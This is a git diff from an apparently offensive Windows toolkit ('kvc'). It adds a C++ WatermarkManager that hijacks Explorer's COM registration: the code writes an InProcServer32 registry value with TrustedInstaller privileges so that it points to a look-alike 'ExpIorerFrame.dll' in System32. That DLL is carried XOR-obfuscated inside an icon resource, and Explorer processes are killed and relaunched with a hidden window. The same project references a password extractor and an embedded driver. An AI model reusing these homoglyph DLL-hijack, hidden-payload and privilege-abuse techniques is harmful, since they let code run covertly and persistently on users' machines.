|
||||
// Restore original watermark
|
||||
bool WatermarkManager::RestoreWatermark() noexcept
|
||||
{
|
||||
INFO(L"[WATERMARK] Starting watermark restoration process");
|
||||
|
||||
// 1. Najpierw przywróć rejestr
|
||||
if (!m_trustedInstaller.WriteRegistryValueAsTrustedInstaller(
|
||||
HKEY_CLASSES_ROOT, CLSID_KEY, L"", ORIGINAL_DLL)) {
|
||||
ERROR(L"[WATERMARK] Failed to restore registry entry");
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"[WATERMARK] Registry restored to original value");
|
||||
|
||||
// 2. Zrestartuj Explorera (to zwolni uchwyt do DLL)
|
||||
if (!RestartExplorer()) {
|
||||
ERROR(L"[WATERMARK] Failed to restart Explorer");
|
||||
return false;
|
||||
}
|
||||
|
||||
// 3. Teraz usuń DLL (uchwyt został zwolniony)
|
||||
std::wstring system32Path = GetSystem32Path();
|
||||
if (!system32Path.empty()) {
|
||||
std::wstring dllPath = system32Path + L"\\ExpIorerFrame.dll";
|
||||
|
||||
// Dodaj krótkie opóźnienie dla pewności
|
||||
Sleep(1000);
|
||||
|
||||
if (!m_trustedInstaller.DeleteFileAsTrustedInstaller(dllPath)) {
|
||||
// Nie traktuj jako błędu krytycznego - DLL może być w użyciu
|
||||
INFO(L"[WATERMARK] DLL might still be in use, will be removed on next restart: %s",
|
||||
dllPath.c_str());
|
||||
} else {
|
||||
INFO(L"[WATERMARK] Hijacked DLL deleted successfully");
|
||||
}
|
||||
}
|
||||
|
||||
SUCCESS(L"[WATERMARK] Watermark restored successfully");
|
||||
return true;
|
||||
}
|
||||
|
||||
// Check current status
|
||||
std::wstring WatermarkManager::GetWatermarkStatus() noexcept
|
||||
{
|
||||
std::wstring currentValue = ReadRegistryValue(HKEY_CLASSES_ROOT, CLSID_KEY, L"");
|
||||
|
||||
if (currentValue == HIJACKED_DLL) {
|
||||
return L"REMOVED";
|
||||
} else if (currentValue == ORIGINAL_DLL) {
|
||||
return L"ACTIVE";
|
||||
}
|
||||
|
||||
return L"UNKNOWN";
|
||||
}
|
||||
|
||||
bool WatermarkManager::IsWatermarkRemoved() noexcept
|
||||
{
|
||||
return GetWatermarkStatus() == L"REMOVED";
|
||||
}
|
||||
|
||||
// Extract DLL from resource - Complete pipeline
|
||||
bool WatermarkManager::ExtractWatermarkDLL(std::vector<BYTE>& outDllData) noexcept
|
||||
{
|
||||
std::vector<BYTE> kvcSysData;
|
||||
|
||||
if (!Utils::ExtractResourceComponents(RESOURCE_ID, kvcSysData, outDllData)) {
|
||||
ERROR(L"[WATERMARK] Failed to extract DLL from resource");
|
||||
return false;
|
||||
}
|
||||
|
||||
DEBUG(L"[WATERMARK] ExpIorerFrame.dll extracted: %zu bytes", outDllData.size());
|
||||
return !outDllData.empty();
|
||||
}
|
||||
|
||||
// Restart Explorer process
|
||||
bool WatermarkManager::RestartExplorer() noexcept
|
||||
{
|
||||
INFO(L"[WATERMARK] Restarting Explorer...");
|
||||
|
||||
// Find all explorer.exe processes
|
||||
std::vector<DWORD> explorerPids;
|
||||
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hSnapshot != INVALID_HANDLE_VALUE) {
|
||||
PROCESSENTRY32W pe;
|
||||
pe.dwSize = sizeof(pe);
|
||||
|
||||
if (Process32FirstW(hSnapshot, &pe)) {
|
||||
do {
|
||||
if (_wcsicmp(pe.szExeFile, L"explorer.exe") == 0) {
|
||||
explorerPids.push_back(pe.th32ProcessID);
|
||||
}
|
||||
} while (Process32NextW(hSnapshot, &pe));
|
||||
}
|
||||
CloseHandle(hSnapshot);
|
||||
}
|
||||
|
||||
// Terminate all Explorer instances
|
||||
std::vector<HANDLE> processHandles;
|
||||
for (DWORD pid : explorerPids) {
|
||||
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);
|
||||
if (hProcess) {
|
||||
TerminateProcess(hProcess, 0);
|
||||
processHandles.push_back(hProcess);
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for termination
|
||||
if (!processHandles.empty()) {
|
||||
WaitForMultipleObjects(
|
||||
static_cast<DWORD>(processHandles.size()),
|
||||
processHandles.data(),
|
||||
TRUE,
|
||||
5000
|
||||
);
|
||||
|
||||
for (HANDLE h : processHandles) {
|
||||
CloseHandle(h);
|
||||
}
|
||||
}
|
||||
|
||||
// Start new Explorer instance
|
||||
SHELLEXECUTEINFOW sei = { sizeof(sei) };
|
||||
sei.fMask = SEE_MASK_FLAG_NO_UI;
|
||||
sei.lpFile = L"explorer.exe";
|
||||
sei.lpParameters = L"/e,"; // ← Prevents opening folder window
|
||||
sei.nShow = SW_HIDE; // ← ! Hide the window
|
||||
|
||||
if (!ShellExecuteExW(&sei)) {
|
||||
ERROR(L"[WATERMARK] Failed to restart Explorer");
|
||||
return false;
|
||||
}
|
||||
|
||||
Sleep(1000); // Give Explorer time to start
|
||||
return true;
|
||||
}
|
||||
|
||||
// Get System32 path
|
||||
std::wstring WatermarkManager::GetSystem32Path() noexcept
|
||||
{
|
||||
wchar_t systemDir[MAX_PATH];
|
||||
if (GetSystemDirectoryW(systemDir, MAX_PATH) == 0) {
|
||||
return L"";
|
||||
}
|
||||
return std::wstring(systemDir);
|
||||
}
|
||||
|
||||
// Read registry value
|
||||
std::wstring WatermarkManager::ReadRegistryValue(HKEY hKey, const std::wstring& subKey,
|
||||
const std::wstring& valueName) noexcept
|
||||
{
|
||||
HKEY hOpenKey;
|
||||
if (RegOpenKeyExW(hKey, subKey.c_str(), 0, KEY_READ, &hOpenKey) != ERROR_SUCCESS) {
|
||||
return L"";
|
||||
}
|
||||
|
||||
wchar_t value[1024];
|
||||
DWORD dataSize = sizeof(value);
|
||||
DWORD type;
|
||||
|
||||
if (RegQueryValueExW(hOpenKey, valueName.empty() ? nullptr : valueName.c_str(),
|
||||
NULL, &type, (LPBYTE)value, &dataSize) == ERROR_SUCCESS) {
|
||||
RegCloseKey(hOpenKey);
|
||||
if (type == REG_SZ || type == REG_EXPAND_SZ) {
|
||||
return std::wstring(value);
|
||||
}
|
||||
}
|
||||
|
||||
RegCloseKey(hOpenKey);
|
||||
return L"";
|
||||
}
|
||||
46
kvc/WatermarkManager.h
Normal file
46
kvc/WatermarkManager.h
Normal file
@@ -0,0 +1,46 @@
|
||||
// WatermarkManager.h
|
||||
// Windows Desktop Watermark Removal via ExplorerFrame.dll Hijacking
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "common.h"
|
||||
#include "TrustedInstallerIntegrator.h"
|
||||
#include <windows.h>
|
||||
#include <vector>
|
||||
#include <string>
|
||||
|
||||
class WatermarkManager
|
||||
{
|
||||
public:
|
||||
explicit WatermarkManager(TrustedInstallerIntegrator& trustedInstaller);
|
||||
|
||||
// Main operations
|
||||
bool RemoveWatermark() noexcept;
|
||||
bool RestoreWatermark() noexcept;
|
||||
std::wstring GetWatermarkStatus() noexcept;
|
||||
bool IsWatermarkRemoved() noexcept;
|
||||
|
||||
private:
|
||||
// Extraction pipeline: Resource → Skip icon → XOR → CAB → Split PE
|
||||
bool ExtractWatermarkDLL(std::vector<BYTE>& outDllData) noexcept;
|
||||
|
||||
// System operations
|
||||
bool RestartExplorer() noexcept;
|
||||
std::wstring GetSystem32Path() noexcept;
|
||||
std::wstring ReadRegistryValue(HKEY hKey, const std::wstring& subKey,
|
||||
const std::wstring& valueName) noexcept;
|
||||
|
||||
TrustedInstallerIntegrator& m_trustedInstaller;
|
||||
|
||||
// Registry paths
|
||||
static constexpr const wchar_t* CLSID_KEY =
|
||||
L"CLSID\\{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}\\InProcServer32";
|
||||
static constexpr const wchar_t* HIJACKED_DLL =
|
||||
L"%SystemRoot%\\system32\\ExpIorerFrame.dll";
|
||||
static constexpr const wchar_t* ORIGINAL_DLL =
|
||||
L"%SystemRoot%\\system32\\ExplorerFrame.dll";
|
||||
|
||||
// Resource constants
|
||||
static constexpr size_t ICON_SKIP_SIZE = 3774; // Skip icon data in resource
|
||||
static constexpr int RESOURCE_ID = 102; // New resource for watermark
|
||||
};
|
||||
@@ -4,7 +4,8 @@
|
||||
|
||||
// KVC Main Application Resources (100-199)
|
||||
#define IDI_ICON1 101
|
||||
#define IDR_MAINICON 102 // Icon data containing embedded driver
|
||||
#define IDR_MAINICON 102 // Icon data containing embedded resources
|
||||
|
||||
|
||||
// PassExtractor/kvc_pass Resources (200-299)
|
||||
#define IDI_PASSEXTRACTOR_ICON 201
|
||||
|
||||
Reference in New Issue
Block a user